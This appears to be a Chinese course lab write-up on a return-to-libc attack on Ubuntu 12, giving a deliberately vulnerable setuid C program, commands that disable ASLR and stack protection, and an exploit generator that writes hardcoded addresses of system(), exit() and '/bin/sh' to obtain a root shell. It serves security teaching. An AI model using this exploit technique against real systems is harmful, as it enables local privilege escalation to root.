软件安全-return-to-libc攻防

Return-to-libc Attack Lab

实验目的:绕过栈保护机制,通过缓冲区溢出,获取ubuntu12的root权限
为了对抗缓冲区溢出漏洞,一般linux操作系统允许管理员设置栈不可执行,
这将直接导致将程序控制权直接跳转到shellcode无法运行,造成攻击失败。

为了对抗不可执行栈,聪明的黑客提出了return-to-libc攻击。攻击者不需要可执行的栈,
甚至不需要shellcode。return-to-libc攻击通过将程序的控制权跳转到系统自己的可执行代码,
例如,在libc库中的system()函数,这些函数已经存在于内存中了。

实验目标:

  • 本次实验将给出一个有缓冲区溢出漏洞的程序,你需要通过return-to-libc攻击,并获取root权限。
  • 你需要掌握堆栈模型,system()、exit()、“/bin/sh”在内存中的地址,掌握gdb调试。

准备工作

你可以在ubuntu12中完成本次实验。为了简化攻击,我们需要关闭一些保护机制。

  • 地址随机化 su sysctl -w kernel.randomize_va_space=0
  • 栈保护机制(canaria)gcc -fno-stack-protector ****.c
  • 栈不可执行 gcc -z execstack ****.c

The Vulnerable Program

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include 
#include 
#include 

int bof(FILE *badfile)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);

    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);
    return 1;
}

为了后续return-to-libc攻击能获取到root权限,而不是仅仅弹出一个普通用户的shell,

我们需要编译并设置有效id为root。

$ su root
Password (enter root password)
# gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit

当badfile文件中内容大小低于缓冲区大小的时候,程序正常。

当文件内容大小超过缓冲区大小的时候,程序异常,发生缓冲区溢出。

Exploting the Vulnerability

#include 
#include 
#include 
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;
  int base = 24;
  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and 
     the values for X, Y, Z. The order of the following 
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[base+8] = 0xb7f7ff18;   //  "/bin/sh"
  *(long *) &buf[base] = 0xb7e5e430;   //  system()
  *(long *) &buf[base+4] = 0xb7e51fb0;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}

编译运行:获取root权限

软件安全-return-to-libc攻防_第1张图片
获取root权限

如何获取libc函数地址?

创建一个简单程序:

软件安全-return-to-libc攻防_第2张图片
如何获取libc函数地址?

通过gdb查看libc中函数地址:

软件安全-return-to-libc攻防_第3张图片
通过gdb查看libc中函数地址

如何获取字符串“/bin/sh”在内存中的地址?

  • 方案1:设置一个临时的环境变量MYSHELL=/bin/sh
    获取这个环境变量在内存中的地址
软件安全-return-to-libc攻防_第4张图片
设置一个临时的环境变量MYSHELL=/bin/sh
  • 方案2:用上面获取libc的方式,在libc.so中寻找”/bin/sh”
软件安全-return-to-libc攻防_第5张图片
在libc.so中寻找”/bin/sh”

如何理解函数调用?

AT&T汇编
ebp寄存器:堆栈栈底
esp寄存器:堆栈栈顶
eax寄存器:保持函数返回的数据

call foo的含义:
pushl %eip
movl f,%eip

leave的含义:
movl %ebp,%esp
popl %ebp

ret的含义:
popl %eip

你可能感兴趣的:(软件安全-return-to-libc攻防)